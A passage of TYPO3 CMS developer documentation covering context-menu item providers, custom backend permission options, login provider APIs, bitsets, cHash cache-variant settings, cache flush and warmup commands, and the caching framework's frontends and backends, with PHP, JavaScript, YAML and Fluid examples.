    public function addItems(array $items): array
    {
        $this->initDisabledItems();
        // renders an item based on the configuration from $this->itemsConfiguration
        $localItems = $this->prepareItems($this->itemsConfiguration);

        if (isset($items['info'])) {
            //finds a position of the item after which 'hello' item should be added
            $position = array_search('info', array_keys($items), true);

            //slices array into two parts
            $beginning = array_slice($items, 0, $position+1, true);
            $end = array_slice($items, $position, null, true);

            // adds custom item in the correct position
            $items = $beginning + $localItems + $end;
        } else {
            $items = $items + $localItems;
        }
        //passes array of items to the next item provider
        return $items;
    }

    /**
     * This method is called for each item this provider adds and checks if given item can be added
     *
     * @param string $itemName
     * @param string $type
     * @return bool
     */
    protected function canRender(string $itemName, string $type): bool
    {
        // checking if item is disabled through TSConfig
        if (in_array($itemName, $this->disabledItems, true)) {
            return false;
        }
        $canRender = false;
        switch ($itemName) {
            case 'hello':
                $canRender = $this->canSayHello();
                break;
        }
        return $canRender;
    }

    /**
     * Helper method implementing e.g. access check for certain item
     *
     * @return bool
     */
    protected function canSayHello(): bool
    {
        //usually here you can find more sophisticated condition. See e.g. PageProvider::canBeEdited()
        return true;
    }
}
Copied!

Step 2: JavaScript actions

Provide a JavaScript file (ES6 module) which will be called after clicking on the context menu item.

EXT:examples/Resources/Public/JavaScript/context-menu-actions.js
/**
 * Module: @t3docs/examples/context-menu-actions
 *
 * JavaScript to handle the click action of the "Hello World" context menu item
 */

class ContextMenuActions {

	helloWorld(table, uid) {
		if (table === 'pages') {
			//If needed, you can access other 'data' attributes here from $(this).data('someKey')
			//see item provider getAdditionalAttributes method to see how to pass custom data attributes
			top.TYPO3.Notification.error('Hello World', 'Hi there!', 5);
		}
	};
}

export default new ContextMenuActions();
Copied!

Register the JavaScript ES6 modules of your extension if not done yet:

examples/Configuration/JavaScriptModules.php
<?php

return [
    'dependencies' => ['core', 'backend'],
    'tags' => [
        'backend.contextmenu',
    ],
    'imports' => [
        '@t3docs/examples/' => 'EXT:examples/Resources/Public/JavaScript/',
    ],
];
Copied!

Step 3: Registration

If you have autoconfigure: true set in your extension's Services.yaml file all classes implementing \TYPO3\CMS\Backend\ContextMenu\ItemProviders\ProviderInterface get registered as context menu items automatically:

EXT:examples/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false
Copied!

If autoconfigure is disabled you can manually register a context menu item provider by adding the tag backend.contextmenu.itemprovider:

EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autoconfigure: false

  MyVendor\MyExtension\ContextMenu\SomeItemProvider:
    tags:
      - name: backend.contextmenu.itemprovider
Copied!

Using Custom Permission Options

TYPO3 allows extension developers to register their own permission options, managed automatically by the built-in user group access lists. The options can be grouped in categories. A custom permission option is always a checkbox (on/off).

The scope of such options is the backend only.

Registration

Options are configured in the global variable $GLOBALS['TYPO3_CONF_VARS']['BE']['customPermOptions'] in EXT:my_extension/ext_tables.php. The syntax is demonstrated in the following example, which registers two custom permission options:

EXT:my_extension/ext_tables.php
<?php

declare(strict_types=1);

defined('TYPO3') or die();

// Register some custom permission options shown in BE group access lists
$GLOBALS['TYPO3_CONF_VARS']['BE']['customPermOptions']['tx_styleguide_custom'] = [
    'header' => 'Custom styleguide permissions',
    'items' => [
        'key1' => [
            'Option 1',
            // Icon has been registered in Icons.php
            'tcarecords-tx_styleguide_forms-default',
            'Description 1',
        ],
        'key2' => [
            'Option 2',
        ],
    ],
];
Copied!

The result is that these options appear in the group access lists like this:

The custom permissions appear in the Access List tab of backend user groups

As you can see it is possible to add both an icon and a description text. If icons not provided by the Core are used, they need to be registered with the Icon API.

Evaluation

To check if a custom permission option is set call the following API function from the user object:

EXT:some_extension/Classes/SomeClass.php
$GLOBALS['BE_USER']->check('custom_options', $catKey . ':' . $itemKey);
Copied!

$catKey is the category in which the option resides. From the example above this would be tx_examples_cat1.

$itemKey is the key of the item in the category you are evaluating. From the example above this could be key1, key2 or key3 depending on which one of them you want to evaluate.

The function returns true if the option is set, otherwise false.

Keys for Options

It is good practice to use the extension keys prefixed with tx_ on the first level of the array to avoid potential conflicts with other custom options.

Backend login form API

Registering a login provider

The concept of the backend login is based on "login providers".

A login provider can be registered within your config/system/settings.php or config/system/additional.php like this:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['backend']['loginProviders'][1433416020] = [
    'provider' => \MyVendor\MyExtension\LoginProvider\CustomLoginProvider::class,
    'sorting' => 50,
    'iconIdentifier' => 'actions-key',
    'label' => 'LLL:EXT:backend/Resources/Private/Language/locallang.xlf:login.link'
];
Copied!

The settings are defined as:

provider
The login provider class name, which must implement \TYPO3\CMS\Backend\LoginProvider\LoginProviderInterface .
sorting
The sorting is important for the ordering of the links to the possible login providers on the login screen.
iconIdentifier
Accepts any icon identifier that is available in the Icon Registry.
label
The label for the login provider link on the login screen.

For a new login provider you have to register a new key - by best practice the current unix timestamp - in $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['backend']['loginProviders'] .

If your login provider extends another one, you may only overwrite necessary settings. An example would be to extend an existing provider and replace its registered provider class with your custom class.

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['backend']['loginProviders'][1433416020]['provider'] =
    \MyVendor\MyExtension\LoginProvider\CustomProviderExtendingUsernamePasswordLoginProvider::class
Copied!

LoginProviderInterface

Deprecated since version 13.3

Method LoginProviderInterface->render() has been marked as deprecated and is substituted by LoginProviderInterface->modifyView() that will be added to the interface in TYPO3 v14, removing render() from the interface in v14. See section Migration.

The LoginProviderInterface contains only the deprecated render() method in TYPO3 v13.

interface LoginProviderInterface
Fully qualified name
\TYPO3\CMS\Backend\LoginProvider\LoginProviderInterface

Interface for Backend Login providers

modifyView ( \Psr\Http\Message\ServerRequestInterface $request, \TYPO3\CMS\Core\View\ViewInterface $view)

Interface to render the backend login view.

See UsernamePasswordLoginProvider on how this can be used.

param $request

the request

param $view

the view

Return description

Template file to render

Returns
string

Migration

Consumers of LoginProviderInterface should implement the modifyView() method and and retain a stub for the render() method to satisfy the interface. See the example below.

The transition should be smooth. Consumers that need \TYPO3\CMS\Core\Page\PageRenderer for JavaScript magic, should use dependency injection to receive an instance of it.

An implementation of LoginProviderInterface could look like this for TYPO3 v13:

EXT:my_extension/Classes/Login/MyLoginProvider.php
<?php

namespace MyVendor\MyExtension\Login;

use Psr\Http\Message\ServerRequestInterface;
use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
use TYPO3\CMS\Backend\LoginProvider\LoginProviderInterface;
use TYPO3\CMS\Core\Page\PageRenderer;
use TYPO3\CMS\Core\View\ViewInterface;
use TYPO3\CMS\Fluid\View\FluidViewAdapter;

#[Autoconfigure(public: true)]
final readonly class MyLoginProvider implements LoginProviderInterface
{
    public function __construct(
        private PageRenderer $pageRenderer,
    ) {}

    public function modifyView(ServerRequestInterface $request, ViewInterface $view): string
    {
        $this->pageRenderer->addJsFile('someFile');
        // Custom login provider implementations can add custom fluid lookup paths.
        if ($view instanceof FluidViewAdapter) {
            $templatePaths = $view->getRenderingContext()->getTemplatePaths();
            $templateRootPaths = $templatePaths->getTemplateRootPaths();
            $templateRootPaths[] = 'EXT:my_extension/Resources/Private/Templates';
            $templatePaths->setTemplateRootPaths($templateRootPaths);
        }
        $view->assign('Some Variable', 'some value');
        return 'Login/MyLoginForm';
    }
}
Copied!

The default implementation in UsernamePasswordLoginProvider is a good example. Extensions that need to configure additional template, layout or partial lookup paths can extend them, see lines 23-28 in the example above.

Consumers of ModifyPageLayoutOnLoginProviderSelectionEvent should use the request instead, and/or should get an instance of PageRenderer injected as well.

The view

Deprecated since version 13.3

Method LoginProviderInterface->render() has been marked as deprecated and is substituted by LoginProviderInterface->modifyView() that will be added to the interface in TYPO3 v14, removing render() from the interface in v14. See section Migration.

The name of the template must be returned by the modifyView() method of the login provider. Variables can be assigned to the view supplied as second parameter.

The template file must only contain the form fields, not the form-tag. Later on, the view renders the complete login screen.

View requirements:

  • The template must use the Login-layout provided by the Core <f:layout name="Login">.
  • Form fields must be provided within the section <f:section name="loginFormFields">.
EXT:my_sitepackage/Resources/Private/Templates/MyLoginForm.html
<f:layout name="Login" />
<f:section name="loginFormFields">
    <div class="form-group t3js-login-openid-section" id="t3-login-openid_url-section">
        <div class="input-group">
            <input
                type="text"
                id="openid_url"
                name="openid_url"
                value="{presetOpenId}"
                autofocus="autofocus"
                placeholder="{f:translate(key: 'openId', extensionName: 'openid')}"
                class="form-control input-login t3js-clearable t3js-login-openid-field"
            >
            <div class="input-group-addon">
                <span class="fa fa-openid"></span>
            </div>
        </div>
    </div>
</f:section>
Copied!

Examples

Within the Core you can find the standard implementation in the system extension backend:

See class EXT:backend/Classes/LoginProvider/UsernamePasswordLoginProvider.php (GitHub) with its template EXT:backend/Resources/Private/Templates/Login/UserPassLoginForm.html (GitHub).

The page tree in the TYPO3 backend

The page tree is a hierarchical structure that represents pages and their subpages on a website, allowing editors and integrators to easily organize and manage content and navigation.

It is displayed on the left of backend modules with navigationComponent set to '@typo3/backend/tree/page-tree-element'.

Usage of the page tree is described in Getting Started Tutorial, Page tree.

The page tree can also be navigated via Keyboard commands (Tutorial for Editors).

PSR-14 events to influence the functionality of the page tree

AfterPageTreeItemsPreparedEvent
Allows prepared page tree items to be modified.
AfterRawPageRowPreparedEvent
Allows to modify the populated properties of a page and children records before the page is displayed in a page tree.
BeforePageTreeIsFilteredEvent
Allows developers to extend the page trees filter's functionality and process the given search phrase in more advanced ways.

TsConfig settings to influence the page tree

The rendering of the page tree can be influenced via user TsConfig options.pageTree.

Bitsets

Bitsets are used to handle boolean flags efficiently.

The class \TYPO3\CMS\Core\Type\BitSet provides a TYPO3 implementation of a bitset. It can be used standalone and accessed from the outside, but we recommend creating specific bitset classes that extend the TYPO3 BitSet class.

The functionality is best described by an example:

<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Type\BitSet;

define('PERMISSIONS_NONE', 0b0); // 0
define('PERMISSIONS_PAGE_SHOW', 0b1); // 1
define('PERMISSIONS_PAGE_EDIT', 0b10); // 2
define('PERMISSIONS_PAGE_DELETE', 0b100); // 4
define('PERMISSIONS_PAGE_NEW', 0b1000); // 8
define('PERMISSIONS_CONTENT_EDIT', 0b10000); // 16
define('PERMISSIONS_ALL', 0b11111); // 31

$bitSet = new BitSet(PERMISSIONS_PAGE_SHOW | PERMISSIONS_PAGE_NEW);
$bitSet->get(PERMISSIONS_PAGE_SHOW); // true
$bitSet->get(PERMISSIONS_CONTENT_EDIT); // false
Copied!

The example above uses global constants. Implementing that via an extended bitset class makes it clearer and easier to use:

EXT:my_extension/Classes/Bitmask/Permissions.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Bitmask;

use TYPO3\CMS\Core\Type\BitSet;

final class Permissions extends BitSet
{
    public const NONE = 0b0; // 0
    public const PAGE_SHOW = 0b1; // 1
    public const PAGE_EDIT = 0b10; // 2
    public const PAGE_DELETE = 0b100; // 4
    public const PAGE_NEW = 0b1000; // 8
    public const CONTENT_EDIT = 0b10000; // 16
    public const ALL = 0b11111; // 31

    public function hasPermission(int $permission): bool
    {
        return $this->get($permission);
    }

    public function hasAllPermissions(): bool
    {
        return $this->get(self::ALL);
    }

    public function allow(int $permission): void
    {
        $this->set($permission);
    }
}
Copied!

Then use your custom bitset class:

<?php

declare(strict_types=1);

use MyVendor\MyExtension\Bitmask\Permissions;

$permissions = new Permissions(Permissions::PAGE_SHOW | Permissions::PAGE_NEW);
$permissions->hasPermission(Permissions::PAGE_SHOW); // true
$permissions->hasPermission(Permissions::CONTENT_EDIT); // false
Copied!

Caching

Caching in TYPO3

TYPO3 uses multiple caching strategies to ensure fast content delivery. Depending on the content a page contains, TYPO3 chooses the best caching strategy for that use case.

For example, you might have a fully-cacheable page, a page that is at least partially cacheable or a page that is completely dynamic. Dynamic elements in TYPO3 are also known as USER_INT or COA_INT objects - as these are the matching Typoscript objects used to render non-cacheable content.

When visiting a TYPO3 web site, TYPO3 knows the following states:

  • first time hit, page has never been rendered ("cache miss")
  • consecutive hit, page has been rendered before ("cache hit")

In the first case, TYPO3 renders the complete page and writes cache entries as configured. In the second case, TYPO3 fetches those entries from the cache and delivers them to the user without re-triggering the rendering.

In that second case, either the page is fully cached and directly delivered from the cache, or the page has non-cacheable elements on it. If a page has non-cacheable elements, TYPO3 first fetches the cached part of the page and then renders all dynamic parts.

Caching variants - or: What is a "cache hash"?

TYPO3 ideally delivers fully cached pages for maximum performance. However, in scenarios where the same page will deliver different content depending on URL parameters, TYPO3 needs a possibility to identify these "variants" and cache each of them differently. For example, if you have a news plugin and a detail page, the detail page is different for every news entry.

To identify the variant, TYPO3 combines a set of parameters and generates a hash value as identifier. These parameters include by default:

  • id: The current page ID
  • type: The current page type (typeNum)
  • groupIds: The user groups of the logged-in user (if no user is logged in: 0, -1 as default values)
  • MP: The mount point identifier
  • site: The current site and base URL
  • staticRouteArguments: Any route argument configured in the routing configuration and resolved in the current request
  • dynamicArguments: Any "GET" parameters influencing the rendered page

Imagine the following URL https://example.org/news/?tx_example_news[id]=123 displaying the news with ID 123. If TYPO3 would cache that page with that parameter without any security mechanisms, it would open a potential denial of service attack as an unlimited amount of cache entries could be generated by adding arbitrary parameters. To avoid that, TYPO3 generates a so-called "cHash" parameter, which is a hash that basically signs the valid parameters for that request. So any parameter that validly influences the rendered page needs to be part of that cHash.

With routing you can configure TYPO3 not to display the cHash in your URLs in most cases. Routing adds an explicit mapping of incoming readable URL slugs to internal parameter values. This both adds an additional layer for validating slugs as well as reduces the parameters to a limited (and predictable) set of values.

Various configuration options exist to configure the cHash behavior via $GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash'] in the file config/system/settings.php or config/system/additional.php:

cachedParametersWhiteList

cachedParametersWhiteList

Only the given parameters will be evaluated in the cHash calculation. Example: tx_news_pi1[uid]

requireCacheHashPresenceParameters

requireCacheHashPresenceParameters

Configure parameters that require a cHash. If no cHash is given, but one of the parameters are set, then TYPO3 triggers the configured cHash error behavior

excludedParameters

excludedParameters

The given parameters will be ignored in the cHash calculation. Example: L,tx_search_pi1[query]

excludedParametersIfEmpty

excludedParametersIfEmpty

Configure parameters only being relevant for the cHash if there is an associated value available. Set excludeAllEmptyParameters to true to skip all empty parameters.

excludeAllEmptyParameters

excludeAllEmptyParameters

If true, all parameters relevant to cHash are only considered when they are not empty.

enforceValidation

enforceValidation

If this option is enabled, the same validation is used to calculate a cHash value as when a valid or invalid "cHash" parameter is given to a request, even when no cHash is given.

All properties can be configured with an array of values. Besides exact matches (equals) it is possible to apply partial matches at the beginning of a parameter (startsWith) or inline occurrences (contains).

URL parameter names are prefixed with the following indicators:

  • = (equals): exact match, default behavior if not given
  • ^ (startsWith): matching the beginning of a parameter name
  • ~ (contains): matching any inline occurrence in a parameter name

These indicators can be used for all previously existing sub-properties cachedParametersWhiteList, excludedParameters, excludedParametersIfEmpty and requireCacheHashPresenceParameters.

Example (excerpt of config/system/additional.php)

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash'] = [
    'excludedParameters' => [
        'utm_source',
        'utm_medium',
    ],
    'excludedParametersIfEmpty' => [
        '^tx_my_plugin[aspects]',
        'tx_my_plugin[filter]',
    ],
];
Copied!

For instance instead of having exclude items like

config/system/additional.php | typo3conf/system/additional.php
'excludedParameters' => [
    'tx_my_plugin[data][uid]',
    'tx_my_plugin[data][category]',
    'tx_my_plugin[data][order]',
    'tx_my_plugin[data][origin]',
    // ...
],
Copied!

partial matches allow to simplify the configuration and consider all items having tx_my[data] (or tx_my[data][ to be more specific) as prefix like

config/system/additional.php | typo3conf/system/additional.php
'excludedParameters' => [
    '^tx_my_plugin[data][',
    // ...
],
Copied!

Clearing/flushing and warming up caches

TYPO3 provides different possibilities to clear all or specific caches. Depending on the context, you might want to

  • clear the cache for a single page (for example, to make changes visible)
  • clear the frontend cache (for example, after templating changes)
  • clear all caches (for example, during development, when making TypoScript changes)
  • clear all caches incl. dependency injection (mainly useful during development)

Clearing the cache for a single page is done by using the "clear cache button" on that page in the backend (usually visualized with a "bolt" icon). Depending on user rights this option is available for editors.

Clearing the frontend caches and all caches can be done via the system toolbar in the TYPO3 backend. This option should only be available to administrators. Clearing all caches can have a significant impact on the performance of the web site and should be used sparingly on production systems.

The "fullest" option to clear all caches can be reached via the System Tools > Maintenance section. In the development context when new classes have been added to the system or in case of problems with the system using this cache clearing option will clear all caches including compiled code like the dependency injection container.

Clear cache command

In addition to the GUI options explained above, caches can also be cleared via a CLI command:

vendor/bin/typo3 cache:flush
Copied!
typo3/sysext/core/bin/typo3 cache:flush
Copied!

Specific cache groups can be defined via the group option. The usage is described as this:

cache:flush [--group <all|system|di|pages|...>]
Copied!

All available cache groups can be supplied as option. The command defaults to flush all available cache groups as the System Tools > Maintenance area does.

Extensions that register custom caches may listen to the CacheFlushEvent, but usually the cache flush via cache manager groups will suffice to clear those caches, too.

Cache warmup

It is possible to warmup TYPO3 caches using the command line.

The administrator can use the following CLI command:

vendor/bin/typo3 cache:warmup
Copied!
typo3/sysext/core/bin/typo3 cache:warmup
Copied!

Specific cache groups can be defined via the group option. The usage is described as this:

cache:warmup [--group <all|system|di|pages|...>]
Copied!

All available cache groups can be supplied as option. The command defaults to warm all available cache groups.

Extensions that register custom caches are encouraged to implement cache warmers via CacheWarmupEvent.

Use case: deployment

It is often required to clear caches during deployment of TYPO3 instance. The integrator may decide to flush all caches or may alternatively flush selected groups (for example, "pages"). It is common practice to clear all caches during deployment of a TYPO3 instance update. This means that the first request after a deployment usually takes a major amount of time and blocks other requests due to cache-locks.

TYPO3 caches can be warmed during deployment in release preparatory steps in symlink-based deployment/release procedures. This enables fast first requests with all (or at least system) caches being prepared and warmed.

Caches are often filesystem relevant (file paths are calculated into cache hashes), therefore cache warmup should only be performed on the the live system, in the final folder of a new release, and ideally before switching to that new release (via symlink switch).

To summarize: Cache warmup is to be used during deployment, on the live system server, inside the new release folder and before switching to the new release.

An example deployment could consist of:

  • Before the release:

    • git-checkout/rsync your codebase to the continuous integration / build server
    • composer install on the continuous integration / build server
    • vendor/bin/typo3 cache:warmup --group system (only on the live system)
  • Change release symlink to the new release folder
  • After the release:

    • vendor/bin/typo3 cache:flush --group pages

The conceptional idea is to warmup all file-related caches before (symlink) switching to a new release and to only flush database and frontend (shared) caches after the symlink switch. Database warmup could be implemented with the help of the CacheWarmupEvent as an additionally functionality by third-party extensions.

Note that file-related caches (summarized into the group "system") can safely be cleared before doing a release switch, as it is recommended to keep file caches per release. In other words, share var/session/, var/log/, var/lock/ and var/charset/ between releases, but keep var/cache/ be associated only with one release.

Caching framework

TYPO3 contains a data caching framework which supports a wide variety of storage solutions and options for different caching needs. Each cache can be configured individually and can implement its own specific storage strategy.

The caching framework exists to help speeding up TYPO3 sites, especially heavily loaded ones. It is possible to move all caches to a dedicated cache server with specialized cache systems like the Redis key-value store (a so called NoSQL database).

Major parts of the original caching framework were originally backported from TYPO3 Flow.

Quick start for integrators

This section gives some simple instructions for getting started using the caching framework without going into all the details under the hood.

Change specific cache options

By default, most Core caches use the database backend. The default cache configuration is defined in EXT:core/Configuration/DefaultConfiguration.php (GitHub) and can be overridden in config/system/settings.php.

If specific settings should be applied to the configuration, they should be added to config/system/settings.php. All settings in config/system/settings.php will be merged with DefaultConfiguration.php. The easiest way to see the final cache configuration is to use the TYPO3 backend module System > Configuration > $GLOBALS['TYPO3_CONF_VARS'] (with installed lowlevel system extension).

Example for a configuration of a Redis cache backend on Redis database number 42 instead of the default database backend with compression for the pages cache:

config/system/settings.php | typo3conf/system/settings.php
<?php

use TYPO3\CMS\Core\Cache\Backend\RedisBackend;

return [
    // ...
    'SYS' => [
        // ...
        'caching' => [
            // ...
            'cacheConfigurations' => [
                // ...
                'pages' => [
                    'backend' => RedisBackend::class,
                    'options' => [
                        'database' => 42,
                    ],
                ],
            ],
        ],
    ],
];
Copied!

Garbage collection task

Most cache backends do not have an internal system to remove old cache entries that exceeded their lifetime. A cleanup must be triggered externally to find and remove those entries, otherwise caches could grow to arbitrary size. This could lead to a slow website performance, might sum up to significant hard disk or memory usage and could render the server system unusable.

It is advised to always enable the scheduler and run the "Caching framework garbage collection" task to retain clean and small caches. This housekeeping could be done once a day when the system is otherwise mostly idle.

Configuration

Caches are configured in the array $GLOBALS['TYPO3_CONF_VARS']['SYS']['caching'] . The basic structure is predefined in EXT:core/Configuration/DefaultConfiguration.php (GitHub), and consists of the single section:

cacheConfigurations
Registry of all configured caches. Each cache is identified by its array key. Each cache can have the sub-keys frontend, backend and options to configure the used frontend, backend and possible backend options.

Cache configurations

Unfortunately in TYPO3, all ext_localconf.php files of the extensions are loaded after the instance-specific configuration from config/system/settings.php and config/system/additional.php. This enables extensions to overwrite cache configurations already done for the instance. All extensions should avoid this situation and should define the very bare minimum of cache configurations. This boils down to define the array key to populate a new cache to the system. Without further configuration, the cache system falls back to the default backend and default frontend settings:

EXT:my_extension/ext_localconf.php
<?php

$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myext_mycache']
    ??= [];
Copied!

Extensions, like Extbase, define default caches this way, giving administrators full freedom for specific and possibly quicker setups (for example, a memory-driven cache for the Extbase reflection cache).

Administrators can overwrite specific settings of the cache configuration in config/system/settings.php or config/system/additional.php. Here is an example configuration to switch pages to the Redis backend using database 3:

config/system/additional.php | typo3conf/system/additional.php
<?php

use TYPO3\CMS\Core\Cache\Backend\RedisBackend;

$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['pages'] = [
    'backend' => RedisBackend::class,
    'options' => [
        'database' => 3,
    ],
];
Copied!

Some backends have mandatory as well as optional parameters (which are documented in the Cache backends section). If not all mandatory options are defined, the specific backend will throw an exception, if accessed.

How to disable specific caches

During development it can be convenient to disable certain caches. This is especially helpful for central caches like the language or autoloader cache. This can be achieved by using the null backend as storage backend.

Example configuration to switch the extbase_reflection cache to use the null backend:

config/system/additional.php | typo3conf/system/additional.php
<?php

use TYPO3\CMS\Core\Cache\Backend\NullBackend;

$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']
    ['extbase_reflection']['backend'] = NullBackend::class;
Copied!

Caching framework architecture

Basic know-how

The caching framework can handle multiple caches with different configurations. A single cache consists of any number of cache entries.

A single cache entry is defined by these fields:

identifier
A string as unique identifier within this cache. It is used to store and retrieve entries.
data
The data to be cached.
lifetime
A lifetime in seconds of this cache entry. An entry can not be retrieved from cache, if the lifetime is expired.
tags
Additional tags (an array of strings) assigned to the entry. It is used to remove specific cache entries.

About the identifier

The identifier is used to store ("set") and retrieve ("get") entries from the cache and holds all information to differentiate entries from each other. For performance reasons, it should be quick to calculate.

Suppose a resource-intensive extension is added as a plugin on two different pages. The calculated content depends on the page on which it is inserted and if a user is logged in or not. So, the plugin creates at maximum four different content outputs, which can be cached in four different cache entries:

  • page 1, no user logged in
  • page 1, a user is logged in
  • page 2, no user logged in
  • page 2, a user is logged in

To differentiate all entries from each other, the identifier is built from the page ID where the plugin is located, combined with the information whether a user is logged in. These are concatenated and hashed. In PHP this could look like this:

EXT:my_extension/Classes/SomeClass.php
$identifier = sha1((string)$this->getPageUid() . (string)$this->isUserLoggedIn());
Copied!

When the plugin is accessed, the identifier is calculated early in the program flow. Next, the plugin looks up for a cache entry with this identifier. If such an entry exists, the plugin can return the cached content, else it calculates the content and stores a new cache entry with this identifier.

In general, the identifier is constructed from all dependencies which specify a unique set of data. The identifier should be based on information which already exist in the system at the point of its calculation. In the above scenario the page ID and whether or not a user is logged in are already determined during the frontend bootstrap and can be retrieved from the system quickly.

About tags

Tags are used to drop specific cache entries when some information they are based on is changed.

Suppose the above plugin displays content based on different news entries. If one news entry is changed in the backend, all cache entries which are compiled from this news row must be dropped to ensure that the frontend renders the plugin content again and does not deliver old content on the next frontend call.

For example, if the plugin uses news number one and two on one page, and news one on another page, the related cache entries should be tagged with these tags:

  • page 1, tags news_1, news_2
  • page 2, tag news_1

If entry 2 is changed, a simple backend logic (probably a hook in DataHandler) could be created, which drops all cache entries tagged with news_2. In this case the first entry would be invalidated while the second entry still exists in the cache after the operation.

While there is always exactly one identifier for each cache entry, an arbitrary number of tags can be assigned to an entry and one specific tag can be assigned to multiple cache entries. All tags a cache entry has are given to the cache when the entry is stored ("set").

Caches in the TYPO3 Core

The TYPO3 Core defines and uses several caching framework caches by default. This section gives an overview of default caches, its usage and behaviour. If not stated otherwise, the default database backend with variable frontend is used.

The various caches are organized in groups. Currently, the following groups exist:

pages
Frontend-related caches.
system
System caches. Flushing system caches should be avoided as much as possible, as rebuilding them requires significant resources.
lowlevel
Low-level caches. Flushing low-level caches manually should be avoided completely.
all
All other caches.

Cache clearing commands can be issued to target a particular group. If a cache does not belong to a group, it will be flushed when the "all" group is flushed, but such caches should normally be transient anyway.

There are TSconfig options for permissions corresponding to each group.

The following caches exist in the TYPO3 Core:

core

group: system

  • Core cache for compiled PHP code. It should not be used by extensions.
  • Uses the PHP frontend with the Simple file backend for maximum performance.
  • Stores Core internal compiled PHP code like concatenated ext_tables.php and ext_localconf.php files and autoloader.
  • This cache is instantiated very early during bootstrap and can not be re-configured by instance-specific config/system/settings.php or similar.
  • Cache entries are located in directory var/cache/code/core/ (for Composer-based installations) and typo3temp/var/cache/code/core/ (for Classic mode installations). The full directory and any file in this directory can be safely removed and will be re-created upon next request. This is especially useful during development
hash

groups: all, pages

  • Stores several key-value based cache entries, mostly used during frontend rendering.
pages

groups: all, pages

  • The frontend page cache. It stores full frontend pages.
  • The content is compressed by default to reduce database memory and storage overhead.
runtime
  • Runtime cache to store data specific for current request.
  • Used by several Core parts during rendering to re-use already calculated data.
  • Valid for one request only.
  • Can be re-used by extensions that have similar caching needs.
rootline

groups: all, pages

  • Cache for rootline calculations.
  • A quick and simple cache dedicated for Core usage, it should not be re-used by extensions.
assets

groups: system

  • Cache for assets.
  • Examples: backend icons, RTE or JavaScript configuration.
l10n

groups: system

Cache for the localized labels.

fluid_template

groups: system

  • Cache for Fluid templates.
extbase

group: system

  • Contains detailed information about a class' member variables and methods.
ratelimiter

group: system

typoscript

group: pages

database_schema

group: system

Cache for database schema information.

dashboard_rss
  • Contains the contents of RSS feeds retrieved by RSS widgets on the dashboard.
  • This cache can be used by extension authors for their own RSS widgets.

Garbage collection task

The Core system provides a scheduler task to collect the garbage of all cache backends. This is important for backends like the database backend that do not remove old cache entries and tags internally. It is highly recommended to add this scheduler task and run it once in a while (maybe once a day at night) for all used backends that do not delete entries which exceeded their lifetime on their own to free up memory or hard disk space.

Cache API

The caching framework architecture is based on the following classes:

\TYPO3\CMS\Core\Cache\Frontend\FrontendInterface
Main interface to handle cache entries of a specific cache. Different frontends and further interfaces exist to handle different data types.
\TYPO3\CMS\Core\Cache\Backend\BackendInterface
Main interface that every valid storage backend must implement. Several backends and further interfaces exist to specify specific backend capabilities. Some frontends require backends to implement additional interfaces.

Cache frontends

Frontend API

All frontends must implement the API defined in interface TYPO3\CMS\Core\Cache\Frontend\FrontendInterface. All operations on a specific cache must be done with these methods. The frontend object of a cache is the main object any cache manipulation is done with, usually the assigned backend object should not be used directly.

Method

Description

getIdentifier

Returns the cache identifier.

getBackend

Returns the backend instance of this cache. It is seldom needed in usual code.

set

Sets/overwrites an entry in the cache.

get

Returns the cache entry for the given identifier.

has

Checks for existence of a cache entry. Do no use this prior to get() since get() returns NULL if an entry does not exist.

remove

Removes the entry for the given identifier from the cache.

flushByTag

Flushes all cache entries which are tagged with the given tag.

collectGarbage

Calls the garbage collection method of the backend. This is important for backends which are unable to do this internally (like the DB backend).

isValidEntryIdentifier

Checks if a given identifier is valid.

isValidTag

Checks if a given tag is valid.

requireOnce

PhpFrontend only Requires a cached PHP file directly.

Available Frontends

Currently two different frontends are implemented. The main difference are the data types which can be stored using a specific frontend.

Variable Frontend

Strings, arrays and objects are accepted by this frontend. Data is serialized before it is passed to the backend.

PHP Frontend

This is a special frontend to cache PHP files. It extends the string frontend with the method requireOnce() which allows PHP files to be require()'d if a cache entry exists. This can be used by extensions to cache and speed up loading of calculated PHP code and becomes handy if a lot of reflection and dynamic PHP class construction is done.

A backend to be used in combination with the PHP frontend must implement the interface TYPO3\CMS\Core\Cache\Backend\PhpCapableBackendInterface. Currently the file backend and the simple file backend fulfill this requirement.

Cache backends

A variety of storage backends exists. They have different characteristics and can be used for different caching needs. The best backend depends on a given server setup and hardware, as well as cache type and usage. A backend should be chosen wisely, as a wrong decision could end up actually slowing down a TYPO3 installation.

Backend API

All backends must implement at least interface TYPO3\CMS\Core\Cache\Backend\BackendInterface. All operations on a specific cache must be done with these methods. There are several further interfaces that can be implemented by backends to declare additional capabilities. Usually, extension code should not handle cache backend operations directly, but should use the frontend object instead.

Method

Description

setCache

Reference to the frontend which uses the backend. This method is mostly used internally.

set

Save data in the cache.

get

Load data from the cache.

has

Checks if a cache entry with the specified identifier exists.

remove

Remove a cache entry with the specified identifier.

flush

Remove all cache entries.

collectGarbage

Does garbage collection.

flushByTag

TaggableBackendInterface only Removes all cache entries which are tagged by the specified tag.

findIdentifiersByTag

TaggableBackendInterface only Finds and returns all cache entry identifiers which are tagged by the specified tag.

requireOnce

PhpCapableBackendInterface only Loads PHP code from the cache and require_onces it right away.

freeze

FreezableBackendInterface only Freezes this cache backend.

isFrozen

FreezableBackendInterface only Tells if this backend is frozen.

Common Options

Option

Description

Mandatory

Type

Default

defaultLifetime

Default lifetime in seconds of a cache entry if it is not specified for a specific entry on set()

No

integer

3600

Database Backend

This is the main backend suitable for most storage needs. It does not require additional server daemons nor server configuration.

The database backend does not automatically perform garbage collection. Instead the Scheduler garbage collection task should be used.

